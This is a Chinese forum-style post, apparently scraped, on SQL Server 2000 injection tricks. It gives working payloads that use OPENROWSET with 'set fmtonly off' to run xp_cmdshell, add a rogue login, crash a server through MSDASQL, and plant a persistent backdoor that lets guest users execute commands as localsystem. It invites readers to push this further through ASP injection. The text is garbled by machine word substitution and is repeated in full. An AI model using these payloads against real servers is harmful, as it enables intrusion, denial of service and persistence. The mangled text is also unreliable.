注意那些容易被忽略的MSSQL注入技巧

　　下面我要谈到一些Sqlserver新的Bug， 固然本人 通过长期的 奋力，固然也有点 厄运的成分在内，才得以发现，不敢一个人独享，拿出来请大家 甄别 。

　　1．对于Openrowset和Opendatasource

　　可能这个技巧早有人已经会了，便是利用openrowset发送当地命令 。通常我们的用法是(包含MSDN的列子)如下：

　　select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

　　可见( 即便从字面 意思上看)openrowset只不过作为一个快捷的远程数据库 拜访，它必须跟在select后面，也便是说需求返回一个recordset  。

　　那么我们能不能利用它调用xp_cmdshell呢？答案是 确定的！

　　select * from openrowset('sqloledb','server';'sa';'','set fmtonly off

　　exec master.dbo.xp_cmdshel l ''dir c:\''')

　　必须外加set fmtonly off用来屏蔽默许的只返回列信息的设置，这样xp_cmdshell返回的output 集中就会提交给前面的select显示，假如采纳默许设置，会返回空 集中招致select出错，命令也就 无奈执行了 。

　　那么假如我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何 集中的，我们就不能再 依附fmtonly设置了， 可以如下操作：

　　select * from openrowset('sqloledb','server';'sa';'','select ''OK!''

　　exec master.dbo.sp_addlogin Hectic')

　　这样，命令至少会返回select OK!'的 集中，你的机器商会显示OK!，同时对方的数据库内也会增加一个Hectic的账号，也便是说，我们利用select 'OK!'的返回 集中 诱骗了当地的select 申请，是命令 可以 畸形执行，通理sp_addsrvrolemember和opendatasource也 可以如此操作！至于这个 步骤真正的 用处，大家 渐渐想吧 。

　　2．对于Msdasql两次 申请的问题

　　不晓得大家有没有试过用msdasql衔接远程数据库，固然这个api必须是sqlserver的治理员才 可以调用，那么如下：

　　select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')

　　当table1和table2的字段数目不 雷同时，你会发现对方的sqlserver 瓦解了，连当地衔接都会失败，而系统资源占用 所有 畸形，用 pskill杀死 sqlserver 历程后，假如不重启机器，sqlserver要么 无奈 畸形启动，要么时常浮现非法操作，我也只不过碰巧找到这个bug的，具体缘由我还没有摸透，并且很奇怪的是这个 景象只浮现在msdasql上，sqloledb就没有这个问题，看来问题不是在于 申请 集中数目和返回 集中数目不匹配上，应该还是msdasql 本身的问题，具体缘由，大家一同 渐渐探究吧 。

　　3．可怕的后门

　　以往在网上看到有人说在 sqlserver上留后门 可以通过增加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到，这些 步骤固然可行，然而很方便会被发现 。不晓得大家有没有想过sqloledb的当地衔接映射 。呵呵， 比方你在对方的sqlserver上用sqlserver的治理员账号执行如下的命令：

　　select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

　　这样在对方的 sqlserver上 构建了一个名为Hectic的当地衔接映射， 惟独sqlserver不重启，这个映射会向来存在下去，至少我现在还不晓得如何发现别人 搁置的衔接映射，好了，以上的命令运行过后，你会发现哪怕是sqlserver没有任何权限的guest消费者，运行以上这条命令也一样能通过！并且权限是 localsystem！(默许安装)呵呵！这个 步骤 可以用来在以被入侵过 获得治理员权限的sqlserver上留下一个后门了 。以上的 步骤在 sqlserver2000 sqlserver2000SP1上通过！

　　另外还有一个推测，不晓得大家有没有 留神过windows默许附带的两个dsn，一个是localserver一个是msqi，这两个在 构建的时候是当地治理员账号衔接sqlserver的，假如对方的 sqlserver是通过自定义的power user启动，那么sa的权限就和power user一样，很难有所大作为，然而我们通过如下的命令：

　　select * from openrowset

　　('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:\''')

　　应该 可以利用localserver的治理员账号衔接当地sqlserver 而后再以这个账号的权限执行当地命令了，这是后我想应该能 打破sa 那个power user权限了 。现在的问题是sqloledb 无奈调用dsn衔接，而msdasql非治理员不让调用，所以我现在正在寻觅guest调用msdasql 的 步骤 。

　　假如有人晓得这个bug如何 打破，或有新的想法，我们 可以一同 探讨一下，这个发放假如能 顺利被guest利用，将会是一个很严峻的安全 漏洞 。由于我们前面提到的任何sql语句都 可以提交给对方的asp去帮我们执行 。
 
下面我要谈到一些Sqlserver新的Bug， 固然本人 通过长期的 奋力，固然也有点 厄运的成分在内，才得以发现，不敢一个人独享，拿出来请大家 甄别 。 1．对于Openrowset和Opendatasource 可能这个技巧早有人已经会了，便是利用openrowset发送当地命令 。通常我们的用法是(包含MSDN的列子)如下...
　　下面我要谈到一些Sqlserver新的Bug， 固然本人 通过长期的 奋力，固然也有点 厄运的成分在内，才得以发现，不敢一个人独享，拿出来请大家 甄别 。

　　1．对于Openrowset和Opendatasource

　　可能这个技巧早有人已经会了，便是利用openrowset发送当地命令 。通常我们的用法是(包含MSDN的列子)如下：

　　select * from openrowset('sqloledb','myserver';'sa';'','select * from table')

　　可见( 即便从字面 意思上看)openrowset只不过作为一个快捷的远程数据库 拜访，它必须跟在select后面，也便是说需求返回一个recordset  。

　　那么我们能不能利用它调用xp_cmdshell呢？答案是 确定的！

　　select * from openrowset('sqloledb','server';'sa';'','set fmtonly off

　　exec master.dbo.xp_cmdshel l ''dir c:\''')

　　必须外加set fmtonly off用来屏蔽默许的只返回列信息的设置，这样xp_cmdshell返回的output 集中就会提交给前面的select显示，假如采纳默许设置，会返回空 集中招致select出错，命令也就 无奈执行了 。

　　那么假如我们要调用sp_addlogin呢，他不会像xp_cmdshell返回任何 集中的，我们就不能再 依附fmtonly设置了， 可以如下操作：

　　select * from openrowset('sqloledb','server';'sa';'','select ''OK!''

　　exec master.dbo.sp_addlogin Hectic')

　　这样，命令至少会返回select OK!'的 集中，你的机器商会显示OK!，同时对方的数据库内也会增加一个Hectic的账号，也便是说，我们利用select 'OK!'的返回 集中 诱骗了当地的select 申请，是命令 可以 畸形执行，通理sp_addsrvrolemember和opendatasource也 可以如此操作！至于这个 步骤真正的 用处，大家 渐渐想吧 。

　　2．对于Msdasql两次 申请的问题

　　不晓得大家有没有试过用msdasql衔接远程数据库，固然这个api必须是sqlserver的治理员才 可以调用，那么如下：

　　select * from openrowset('msdasql','driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn','s
elect * from table1 select * from table2')

　　当table1和table2的字段数目不 雷同时，你会发现对方的sqlserver 瓦解了，连当地衔接都会失败，而系统资源占用 所有 畸形，用 pskill杀死 sqlserver 历程后，假如不重启机器，sqlserver要么 无奈 畸形启动，要么时常浮现非法操作，我也只不过碰巧找到这个bug的，具体缘由我还没有摸透，并且很奇怪的是这个 景象只浮现在msdasql上，sqloledb就没有这个问题，看来问题不是在于 申请 集中数目和返回 集中数目不匹配上，应该还是msdasql 本身的问题，具体缘由，大家一同 渐渐探究吧 。

　　3．可怕的后门

　　以往在网上看到有人说在 sqlserver上留后门 可以通过增加triger、jobs或改写sp_addlogin和sp_addsrvrolemember做到，这些 步骤固然可行，然而很方便会被发现 。不晓得大家有没有想过sqloledb的当地衔接映射 。呵呵， 比方你在对方的sqlserver上用sqlserver的治理员账号执行如下的命令：

　　select * from openrowset('sqloledb','trusted_connection=yes;data source=Hectic','set fmtonly off exec master..xp_cmdshell ''dir c:\''')

　　这样在对方的 sqlserver上 构建了一个名为Hectic的当地衔接映射， 惟独sqlserver不重启，这个映射会向来存在下去，至少我现在还不晓得如何发现别人 搁置的衔接映射，好了，以上的命令运行过后，你会发现哪怕是sqlserver没有任何权限的guest消费者，运行以上这条命令也一样能通过！并且权限是 localsystem！(默许安装)呵呵！这个 步骤 可以用来在以被入侵过 获得治理员权限的sqlserver上留下一个后门了 。以上的 步骤在 sqlserver2000 sqlserver2000SP1上通过！

　　另外还有一个推测，不晓得大家有没有 留神过windows默许附带的两个dsn，一个是localserver一个是msqi，这两个在 构建的时候是当地治理员账号衔接sqlserver的，假如对方的 sqlserver是通过自定义的power user启动，那么sa的权限就和power user一样，很难有所大作为，然而我们通过如下的命令：

　　select * from openrowset

　　('msdasql','dsn=locaserver;trusted_connection=yes','set fmtonly off exec
master..xp_cmdshell ''dir c:\''')

　　应该 可以利用localserver的治理员账号衔接当地sqlserver 而后再以这个账号的权限执行当地命令了，这是后我想应该能 打破sa 那个power user权限了 。现在的问题是sqloledb 无奈调用dsn衔接，而msdasql非治理员不让调用，所以我现在正在寻觅guest调用msdasql 的 步骤 。

　　假如有人晓得这个bug如何 打破，或有新的想法，我们 可以一同 探讨一下，这个发放假如能 顺利被guest利用，将会是一个很严峻的安全 漏洞 。由于我们前面提到的任何sql语句都 可以提交给对方的asp去帮我们执行 。